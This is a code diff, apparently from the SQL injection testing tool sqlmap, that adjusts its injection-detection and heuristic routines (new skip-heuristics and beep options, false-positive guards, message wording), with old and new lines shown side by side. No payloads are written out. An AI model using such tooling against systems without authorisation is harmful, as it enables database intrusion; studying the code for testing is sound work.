kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
boundaries = kb.cache.intBoundaries boundaries = kb.cache.intBoundaries
elif value.isalpha(): elif value.isalpha():
@@ -226,8 +227,8 @@ def checkSqlInjection(place, parameter, value):
# Skip test if the user's wants to test only for a specific # Skip test if the user's wants to test only for a specific
# technique # technique
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique: if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
debugMsg = "skipping test '%s' because the user " % title debugMsg = "skipping test '%s' because user " % title
debugMsg += "specified to test only for " debugMsg += "specified testing of only "
debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique) debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
logger.debug(debugMsg) logger.debug(debugMsg)
continue continue
@@ -501,12 +502,13 @@ def checkSqlInjection(place, parameter, value):
# Useful to set kb.matchRatio at first based on False response content # Useful to set kb.matchRatio at first based on False response content
kb.matchRatio = None kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE) kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
suggestion = None
Request.queryPage(genCmpPayload(), place, raise404=False) Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
falseRawResponse = "%s%s" % (falseHeaders, falsePage) falseRawResponse = "%s%s" % (falseHeaders, falsePage)
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter) # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
if not kb.negativeLogic: if not any((kb.negativeLogic, conf.string, conf.notString)):
try: try:
ratio = 1.0 ratio = 1.0
seqMatcher = getCurrentThreadData().seqMatcher seqMatcher = getCurrentThreadData().seqMatcher
@@ -568,7 +570,7 @@ def checkSqlInjection(place, parameter, value):
candidates = sorted(candidates, key=len) candidates = sorted(candidates, key=len)
for candidate in candidates: for candidate in candidates:
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH: if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
conf.string = candidate suggestion = conf.string = candidate
injectable = True injectable = True
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
@@ -579,7 +581,7 @@ def checkSqlInjection(place, parameter, value):
if injectable: if injectable:
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
if all((falseCode, trueCode)) and falseCode != trueCode: if all((falseCode, trueCode)) and falseCode != trueCode:
conf.code = trueCode suggestion = conf.code = trueCode
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
logger.info(infoMsg) logger.info(infoMsg)
@@ -604,7 +606,7 @@ def checkSqlInjection(place, parameter, value):
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
break break
conf.string = candidate suggestion = conf.string = candidate
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'")) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg) logger.info(infoMsg)
@@ -618,12 +620,12 @@ def checkSqlInjection(place, parameter, value):
if re.match(r"\A\w+\Z", candidate): if re.match(r"\A\w+\Z", candidate):
break break
conf.notString = candidate suggestion = conf.notString = candidate
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'")) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
logger.info(infoMsg) logger.info(infoMsg)
if not any((conf.string, conf.notString, conf.code)): if not suggestion:
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title) infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
@@ -650,7 +652,7 @@ def checkSqlInjection(place, parameter, value):
except SqlmapConnectionException as ex: except SqlmapConnectionException as ex:
debugMsg = "problem occurred most likely because the " debugMsg = "problem occurred most likely because the "
debugMsg += "server hasn't recovered as expected from the " debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % getSafeExString(ex) debugMsg += "used error-based payload ('%s')" % getSafeExString(ex)
logger.debug(debugMsg) logger.debug(debugMsg)
# In case of time-based blind or stacked queries # In case of time-based blind or stacked queries
@@ -854,7 +856,9 @@ def checkSqlInjection(place, parameter, value):
logger.warn(warnMsg) logger.warn(warnMsg)
if not checkFalsePositives(injection): if not checkFalsePositives(injection):
kb.vulnHosts.remove(conf.hostname) if conf.hostname in kb.vulnHosts:
kb.vulnHosts.remove(conf.hostname)
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE) injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
@@ -875,8 +879,12 @@ def heuristicCheckDbms(injection):
to identify with a simple DBMS specific boolean-based test what the DBMS to identify with a simple DBMS specific boolean-based test what the DBMS
may be may be
""" """
retVal = False retVal = False
if conf.skipHeuristics:
return retVal
pushValue(kb.injection) pushValue(kb.injection)
kb.injection = injection kb.injection = injection
@@ -939,6 +947,9 @@ def checkFalsePositives(injection):
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)): if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue continue
if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue
if randInt3 > randInt2 > randInt1: if randInt3 > randInt2 > randInt1:
break break
@@ -1027,6 +1038,9 @@ def checkFilteredChars(injection):
kb.injection = popValue() kb.injection = popValue()
def heuristicCheckSqlInjection(place, parameter): def heuristicCheckSqlInjection(place, parameter):
if conf.skipHeuristics:
return None
if kb.heavilyDynamic: if kb.heavilyDynamic:
debugMsg = "heuristic check skipped because of heavy dynamicity" debugMsg = "heuristic check skipped because of heavy dynamicity"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -1123,14 +1137,22 @@ def heuristicCheckSqlInjection(place, parameter):
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
if value.lower() in (page or "").lower(): # Reference: https://bugs.python.org/issue18183
if value.upper() in (page or "").upper():
infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
if conf.beep:
beep()
for match in re.finditer(FI_ERROR_REGEX, page or ""): for match in re.finditer(FI_ERROR_REGEX, page or ""):
if randStr1.lower() in match.group(0).lower(): if randStr1.lower() in match.group(0).lower():
infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
if conf.beep:
beep()
break break
kb.disableHtmlDecoding = False kb.disableHtmlDecoding = False
@@ -1577,7 +1599,7 @@ def checkConnection(suppressOutput=False):
kb.originalPage = kb.pageTemplate = threadData.lastPage kb.originalPage = kb.pageTemplate = threadData.lastPage
kb.originalCode = threadData.lastCode kb.originalCode = threadData.lastCode
if conf.cj and not conf.cookie and not conf.dropSetCookie: if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj) candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
message = "you have not declared cookie(s), while " message = "you have not declared cookie(s), while "

Some files were not shown because too many files have changed in this diff Show More